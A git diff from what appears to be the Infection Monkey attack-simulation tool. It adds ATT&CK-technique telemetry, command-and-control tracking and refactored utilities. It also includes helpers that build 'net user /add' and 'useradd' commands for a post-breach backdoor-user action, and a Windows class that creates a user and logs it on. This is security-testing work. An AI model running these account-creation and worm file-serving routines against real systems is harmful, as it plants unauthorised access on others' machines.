class T1064Telem(AttackTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1064 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Usage string
|
||||
"""
|
||||
super(T1064Telem, self).__init__('T1064', status)
|
||||
self.usage = usage
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1064Telem, self).get_data()
|
||||
data.update({
|
||||
'usage': self.usage
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,25 @@
|
|||
from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem
|
||||
|
||||
|
||||
class T1105Telem(AttackTelem):
|
||||
def __init__(self, status, src, dst, filename):
|
||||
"""
|
||||
T1105 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param src: IP of machine which uploaded the file
|
||||
:param dst: IP of machine which downloaded the file
|
||||
:param filename: Uploaded file's name
|
||||
"""
|
||||
super(T1105Telem, self).__init__('T1105', status)
|
||||
self.filename = filename
|
||||
self.src = src
|
||||
self.dst = dst
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1105Telem, self).get_data()
|
||||
data.update({
|
||||
'filename': self.filename,
|
||||
'src': self.src,
|
||||
'dst': self.dst
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1106Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1106 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum name of UsageEnum
|
||||
"""
|
||||
super(T1106Telem, self).__init__("T1106", status, usage)
|
|
@ -0,0 +1,19 @@
|
|||
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
|
||||
|
||||
|
||||
class T1107Telem(AttackTelem):
|
||||
def __init__(self, status, path):
|
||||
"""
|
||||
T1107 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param path: Path of deleted dir/file
|
||||
"""
|
||||
super(T1107Telem, self).__init__('T1107', status)
|
||||
self.path = path
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1107Telem, self).get_data()
|
||||
data.update({
|
||||
'path': self.path
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,11 @@
|
|||
from infection_monkey.telemetry.attack.usage_telem import UsageTelem
|
||||
|
||||
|
||||
class T1129Telem(UsageTelem):
|
||||
def __init__(self, status, usage):
|
||||
"""
|
||||
T1129 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(T1129Telem, self).__init__("T1129", status, usage)
|
|
@ -0,0 +1,20 @@
|
|||
from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem
|
||||
|
||||
|
||||
class T1222Telem(VictimHostTelem):
|
||||
def __init__(self, status, command, machine):
|
||||
"""
|
||||
T1222 telemetry.
|
||||
:param status: ScanStatus of technique
|
||||
:param command: command used to change permissions
|
||||
:param machine: VictimHost type object
|
||||
"""
|
||||
super(T1222Telem, self).__init__('T1222', status, machine)
|
||||
self.command = command
|
||||
|
||||
def get_data(self):
|
||||
data = super(T1222Telem, self).get_data()
|
||||
data.update({
|
||||
'command': self.command
|
||||
})
|
||||
return data
|
|
@ -0,0 +1,20 @@
|
|||
from infection_monkey.telemetry.attack.attack_telem import AttackTelem
|
||||
|
||||
|
||||
class UsageTelem(AttackTelem):
|
||||
|
||||
def __init__(self, technique, status, usage):
|
||||
"""
|
||||
:param technique: Id of technique
|
||||
:param status: ScanStatus of technique
|
||||
:param usage: Enum of UsageEnum type
|
||||
"""
|
||||
super(UsageTelem, self).__init__(technique, status)
|
||||
self.usage = usage.name
|
||||
|
||||
def get_data(self):
|
||||
data = super(UsageTelem, self).get_data()
|
||||
data.update({
|
||||
'usage': self.usage
|
||||
})
|
||||
return data
|
|
@ -1,7 +1,11 @@
|
|||
import abc
|
||||
import json
|
||||
import logging
|
||||
|
||||
from infection_monkey.control import ControlClient
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
||||
|
@ -17,7 +21,9 @@ class BaseTelem(object, metaclass=abc.ABCMeta):
|
|||
"""
|
||||
Sends telemetry to island
|
||||
"""
|
||||
ControlClient.send_telemetry(self.telem_category, self.get_data())
|
||||
data = self.get_data()
|
||||
logger.debug("Sending {} telemetry. Data: {}".format(self.telem_category, json.dumps(data)))
|
||||
ControlClient.send_telemetry(self.telem_category, data)
|
||||
|
||||
@abc.abstractproperty
|
||||
def telem_category(self):
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
import http.server
|
||||
import BaseHTTPServer
|
||||
import os.path
|
||||
import select
|
||||
import socket
|
||||
import threading
|
||||
import urllib.request, urllib.parse, urllib.error
|
||||
import urllib
|
||||
from logging import getLogger
|
||||
from urllib.parse import urlsplit
|
||||
from threading import Lock
|
||||
from urlparse import urlsplit
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.transport.base import TransportProxyBase, update_last_serve_time
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
protocol_version = "HTTP/1.1"
|
||||
filename = ""
|
||||
|
||||
|
@ -61,7 +61,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
f.close()
|
||||
|
||||
def send_head(self):
|
||||
if self.path != '/' + urllib.parse.quote(os.path.basename(self.filename)):
|
||||
if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
|
||||
self.send_error(500, "")
|
||||
return None, 0, 0
|
||||
f = None
|
||||
|
@ -106,7 +106,7 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
|||
format % args))
|
||||
|
||||
|
||||
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
|
||||
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
timeout = 30 # timeout with clients, set to None not to make persistent connection
|
||||
proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
|
||||
protocol_version = "HTTP/1.1"
|
||||
|
@ -165,17 +165,24 @@ class HTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
return False
|
||||
|
||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd.timeout = 0.5 # this is irrelevant?
|
||||
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
|
@ -212,17 +219,23 @@ class LockedHTTPServer(threading.Thread):
|
|||
|
||||
def run(self):
|
||||
class TempHandler(FileServHTTPRequestHandler):
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
filename = self._filename
|
||||
|
||||
@staticmethod
|
||||
def report_download(dest=None):
|
||||
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
|
||||
TempHandler.T1105Telem(TempHandler.ScanStatus.USED,
|
||||
get_interface_to_target(dest[0]),
|
||||
dest[0],
|
||||
self._filename).send()
|
||||
self.downloads += 1
|
||||
if not self.downloads < self.max_downloads:
|
||||
return True
|
||||
return False
|
||||
|
||||
httpd = http.server.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
|
||||
self.lock.release()
|
||||
while not self._stopped and self.downloads < self.max_downloads:
|
||||
httpd.handle_request()
|
||||
|
@ -236,7 +249,7 @@ class LockedHTTPServer(threading.Thread):
|
|||
|
||||
class HTTPConnectProxy(TransportProxyBase):
|
||||
def run(self):
|
||||
httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||
httpd = BaseHTTPServer.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
|
||||
httpd.timeout = 30
|
||||
while not self._stopped:
|
||||
httpd.handle_request()
|
||||
|
|
|
@ -9,7 +9,7 @@ from infection_monkey.network.firewall import app as firewall
|
|||
from infection_monkey.network.info import local_ips, get_free_tcp_port
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.transport.base import get_last_serve_time
|
||||
from infection_monkey.exploit.tools import get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
|
|
@ -1,57 +0,0 @@
|
|||
import os
|
||||
import shutil
|
||||
import struct
|
||||
import sys
|
||||
import tempfile
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
def get_monkey_log_path():
|
||||
return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
|
||||
else WormConfiguration.monkey_log_path_linux
|
||||
|
||||
|
||||
def get_dropper_log_path():
|
||||
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
||||
else WormConfiguration.dropper_log_path_linux
|
||||
|
||||
|
||||
def is_64bit_windows_os():
|
||||
"""
|
||||
Checks for 64 bit Windows OS using environment variables.
|
||||
"""
|
||||
return 'PROGRAMFILES(X86)' in os.environ
|
||||
|
||||
|
||||
def is_64bit_python():
|
||||
return struct.calcsize("P") == 8
|
||||
|
||||
|
||||
def is_windows_os():
|
||||
return sys.platform.startswith("win")
|
||||
|
||||
|
||||
def utf_to_ascii(string):
|
||||
# Converts utf string to ascii. Safe to use even if string is already ascii.
|
||||
udata = string.decode("utf-8")
|
||||
return udata.encode("ascii", "ignore")
|
||||
|
||||
|
||||
def create_monkey_dir():
|
||||
"""
|
||||
Creates directory for monkey and related files
|
||||
"""
|
||||
if not os.path.exists(get_monkey_dir_path()):
|
||||
os.mkdir(get_monkey_dir_path())
|
||||
|
||||
|
||||
def remove_monkey_dir():
|
||||
"""
|
||||
Removes monkey's root directory
|
||||
"""
|
||||
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
|
||||
|
||||
|
||||
def get_monkey_dir_path():
|
||||
return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
|
|
@ -0,0 +1,18 @@
|
|||
import os
|
||||
import struct
|
||||
import sys
|
||||
|
||||
|
||||
def is_64bit_windows_os():
|
||||
"""
|
||||
Checks for 64 bit Windows OS using environment variables.
|
||||
"""
|
||||
return 'PROGRAMFILES(X86)' in os.environ
|
||||
|
||||
|
||||
def is_64bit_python():
|
||||
return struct.calcsize("P") == 8
|
||||
|
||||
|
||||
def is_windows_os():
|
||||
return sys.platform.startswith("win")
|
|
@ -0,0 +1,21 @@
|
|||
import datetime
|
||||
|
||||
|
||||
def get_linux_commands_to_add_user(username):
|
||||
return [
|
||||
'useradd',
|
||||
'-M', # Do not create homedir
|
||||
'--expiredate',
|
||||
datetime.datetime.today().strftime('%Y-%m-%d'),
|
||||
'--inactive',
|
||||
'0',
|
||||
'-c', # Comment
|
||||
'MONKEY_USER', # Comment
|
||||
username]
|
||||
|
||||
|
||||
def get_linux_commands_to_delete_user(username):
|
||||
return [
|
||||
'deluser',
|
||||
username
|
||||
]
|
|
@ -0,0 +1,29 @@
|
|||
import os
|
||||
import shutil
|
||||
import tempfile
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
def create_monkey_dir():
|
||||
"""
|
||||
Creates directory for monkey and related files
|
||||
"""
|
||||
if not os.path.exists(get_monkey_dir_path()):
|
||||
os.mkdir(get_monkey_dir_path())
|
||||
|
||||
|
||||
def remove_monkey_dir():
|
||||
"""
|
||||
Removes monkey's root directory
|
||||
:return True if removed without errors and False otherwise
|
||||
"""
|
||||
try:
|
||||
shutil.rmtree(get_monkey_dir_path())
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def get_monkey_dir_path():
|
||||
return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name)
|
|
@ -0,0 +1,14 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
def get_monkey_log_path():
|
||||
return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \
|
||||
else WormConfiguration.monkey_log_path_linux
|
||||
|
||||
|
||||
def get_dropper_log_path():
|
||||
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
||||
else WormConfiguration.dropper_log_path_linux
|
|
@ -0,0 +1,10 @@
|
|||
from infection_monkey.utils.linux.users import get_linux_commands_to_add_user
|
||||
from infection_monkey.utils.windows.users import get_windows_commands_to_add_user
|
||||
|
||||
|
||||
def get_commands_to_add_user(username, password):
|
||||
linux_cmds = get_linux_commands_to_add_user(username)
|
||||
windows_cmds = get_windows_commands_to_add_user(username, password)
|
||||
return linux_cmds, windows_cmds
|
||||
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
import logging
|
||||
import subprocess
|
||||
|
||||
from infection_monkey.post_breach.actions.add_user import BackdoorUser
|
||||
from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user, get_windows_commands_to_add_user
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class NewUserError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class AutoNewUser(object):
|
||||
"""
|
||||
RAII object to use for creating and using a new user in Windows. Use with `with`.
|
||||
User will be created when the instance is instantiated.
|
||||
User will log on at the start of the `with` scope.
|
||||
User will log off and get deleted at the end of said `with` scope.
|
||||
|
||||
Example:
|
||||
# Created # Logged on
|
||||
with AutoNewUser("user", "pass") as new_user:
|
||||
...
|
||||
...
|
||||
# Logged off and deleted
|
||||
...
|
||||
"""
|
||||
def __init__(self, username, password):
|
||||
"""
|
||||
Creates a user with the username + password.
|
||||
:raises: subprocess.CalledProcessError if failed to add the user.
|
||||
"""
|
||||
self.username = username
|
||||
self.password = password
|
||||
|
||||
windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True)
|
||||
_ = subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True)
|
||||
|
||||
def __enter__(self):
|
||||
# Importing these only on windows, as they won't exist on linux.
|
||||
import win32security
|
||||
import win32con
|
||||
|
||||
try:
|
||||
# Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera
|
||||
self.logon_handle = win32security.LogonUser(
|
||||
self.username,
|
||||
".", # Use current domain.
|
||||
self.password,
|
||||
win32con.LOGON32_LOGON_INTERACTIVE, # Logon type - interactive (normal user).
|
||||
win32con.LOGON32_PROVIDER_DEFAULT) # Which logon provider to use - whatever Windows offers.
|
||||
except Exception as err:
|
||||
raise NewUserError("Can't logon as {}. Error: {}".format(self.username, str(err)))
|
||||
return self
|
||||
|
||||
def get_logon_handle(self):
|
||||
return self.logon_handle
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
# Logoff
|
||||
self.logon_handle.Close()
|
||||
|
||||
# Try to delete user
|
||||
try:
|
||||
_ = subprocess.Popen(
|
||||
get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True)
|
||||
except Exception as err:
|
||||
raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err))
|
|
@ -0,0 +1,18 @@
|
|||
def get_windows_commands_to_add_user(username, password, should_be_active=False):
|
||||
windows_cmds = [
|
||||
'net',
|
||||
'user',
|
||||
username,
|
||||
password,
|
||||
'/add']
|
||||
if not should_be_active:
|
||||
windows_cmds.append('/ACTIVE:NO')
|
||||
return windows_cmds
|
||||
|
||||
|
||||
def get_windows_commands_to_delete_user(username):
|
||||
return [
|
||||
'net',
|
||||
'user',
|
||||
username,
|
||||
'/delete']
|
|
@ -8,9 +8,9 @@ import time
|
|||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.control import ControlClient
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||
from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
|||
from monkey_island.cc.resources.netmap import NetMap
|
||||
from monkey_island.cc.resources.node import Node
|
||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||
from monkey_island.cc.resources.report import Report
|
||||
from monkey_island.cc.resources.reporting.report import Report
|
||||
from monkey_island.cc.resources.root import Root
|
||||
from monkey_island.cc.resources.telemetry import Telemetry
|
||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
|
@ -122,7 +122,13 @@ def init_api_resources(api):
|
|||
api.add_resource(NetMap, '/api/netmap', '/api/netmap/')
|
||||
api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/')
|
||||
api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/')
|
||||
api.add_resource(Report, '/api/report', '/api/report/')
|
||||
|
||||
# report_type: zero_trust or security
|
||||
api.add_resource(
|
||||
Report,
|
||||
'/api/report/<string:report_type>',
|
||||
'/api/report/<string:report_type>/<string:report_data>')
|
||||
|
||||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
from monkey_island.cc.environment import Environment
|
||||
import monkey_island.cc.auth
|
||||
|
||||
|
||||
class TestingEnvironment(Environment):
|
||||
|
@ -7,11 +6,5 @@ class TestingEnvironment(Environment):
|
|||
super(TestingEnvironment, self).__init__()
|
||||
self.testing = True
|
||||
|
||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
||||
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
||||
|
||||
def get_auth_users(self):
|
||||
return [
|
||||
monkey_island.cc.auth.User(1, self.NO_AUTH_CREDS, self.NO_AUTH_CREDS)
|
||||
]
|
||||
return []
|
||||
|
|
|
@ -19,7 +19,7 @@ json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'isla
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
from monkey_island.cc.app import init_app
|
||||
from monkey_island.cc.exporter_init import populate_exporter_list
|
||||
from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.database import is_db_server_up, get_db_version
|
||||
|
|
|
@ -12,8 +12,9 @@ else:
|
|||
connect(db=env.mongo_db_name, host=env.mongo_db_host, port=env.mongo_db_port)
|
||||
|
||||
# Order of importing matters here, for registering the embedded and referenced documents before using them.
|
||||
from .config import Config
|
||||
from .creds import Creds
|
||||
from .monkey_ttl import MonkeyTtl
|
||||
from .pba_results import PbaResults
|
||||
from .monkey import Monkey
|
||||
from config import Config
|
||||
from creds import Creds
|
||||
from monkey_ttl import MonkeyTtl
|
||||
from pba_results import PbaResults
|
||||
from command_control_channel import CommandControlChannel
|
||||
from monkey import Monkey
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
from mongoengine import EmbeddedDocument, StringField
|
||||
|
||||
|
||||
class CommandControlChannel(EmbeddedDocument):
|
||||
"""
|
||||
This value describes command and control channel monkey used in communication
|
||||
src - Monkey Island's IP
|
||||
dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
|
||||
"""
|
||||
src = StringField()
|
||||
dst = StringField()
|
|
@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
|
|||
|
||||
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
|
||||
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
|
||||
from monkey_island.cc.models.command_control_channel import CommandControlChannel
|
||||
|
||||
|
||||
class Monkey(Document):
|
||||
|
@ -36,6 +37,9 @@ class Monkey(Document):
|
|||
pba_results = ListField()
|
||||
ttl_ref = ReferenceField(MonkeyTtl)
|
||||
tunnel = ReferenceField("self")
|
||||
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
|
||||
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
|
||||
# instance. See https://github.com/guardicore/monkey/issues/426.
|
||||
|
||||
# LOGIC
|
||||
@staticmethod
|
||||
|
@ -80,6 +84,17 @@ class Monkey(Document):
|
|||
os = "windows"
|
||||
return os
|
||||
|
||||
def get_network_info(self):
|
||||
"""
|
||||
Formats network info from monkey's model
|
||||
:return: dictionary with an array of IP's and a hostname
|
||||
"""
|
||||
return {'ips': self.ip_addresses, 'hostname': self.hostname}
|
||||
|
||||
@staticmethod
|
||||
def get_tunneled_monkeys():
|
||||
return Monkey.objects(tunnel__exists=True)
|
||||
|
||||
def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
|
||||
self.ttl_ref = create_monkey_ttl_document(duration)
|
||||
self.save()
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
import uuid
|
||||
from time import sleep
|
||||
|
||||
from .monkey import Monkey
|
||||
from monkey import Monkey
|
||||
from monkey_island.cc.models.monkey import MonkeyNotFoundError
|
||||
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
|
||||
from .monkey_ttl import MonkeyTtl
|
||||
from monkey_ttl import MonkeyTtl
|
||||
|
||||
|
||||
class TestMonkey(IslandTestCase):
|
||||
"""
|
||||
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
|
||||
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
|
||||
won't work.
|
||||
|
||||
Also, the working directory needs to be the working directory from which you usually run the island so the
|
||||
server.json file is found and loaded.
|
||||
server_config.json file is found and loaded.
|
||||
"""
|
||||
|
||||
def test_is_dead(self):
|
||||
|
@ -87,6 +87,28 @@ class TestMonkey(IslandTestCase):
|
|||
windows_monkey.save()
|
||||
unknown_monkey.save()
|
||||
|
||||
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
|
||||
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
|
||||
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
|
||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
|
||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
|
||||
self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
|
||||
|
||||
def test_get_tunneled_monkeys(self):
|
||||
self.fail_if_not_testing_env()
|
||||
self.clean_monkey_db()
|
||||
|
||||
linux_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Linux shay-Virtual-Machine")
|
||||
windows_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="Windows bla bla bla",
|
||||
tunnel=linux_monkey)
|
||||
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||
description="bla bla bla",
|
||||
tunnel=windows_monkey)
|
||||
linux_monkey.save()
|
||||
windows_monkey.save()
|
||||
unknown_monkey.save()
|
||||
tunneled_monkeys = Monkey.get_tunneled_monkeys()
|
||||
test = bool(windows_monkey in tunneled_monkeys
|
||||
and unknown_monkey in tunneled_monkeys
|
||||
and linux_monkey not in tunneled_monkeys
|
||||
and len(tunneled_monkeys) == 2)
|
||||
self.assertTrue(test, "Tunneling test")
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue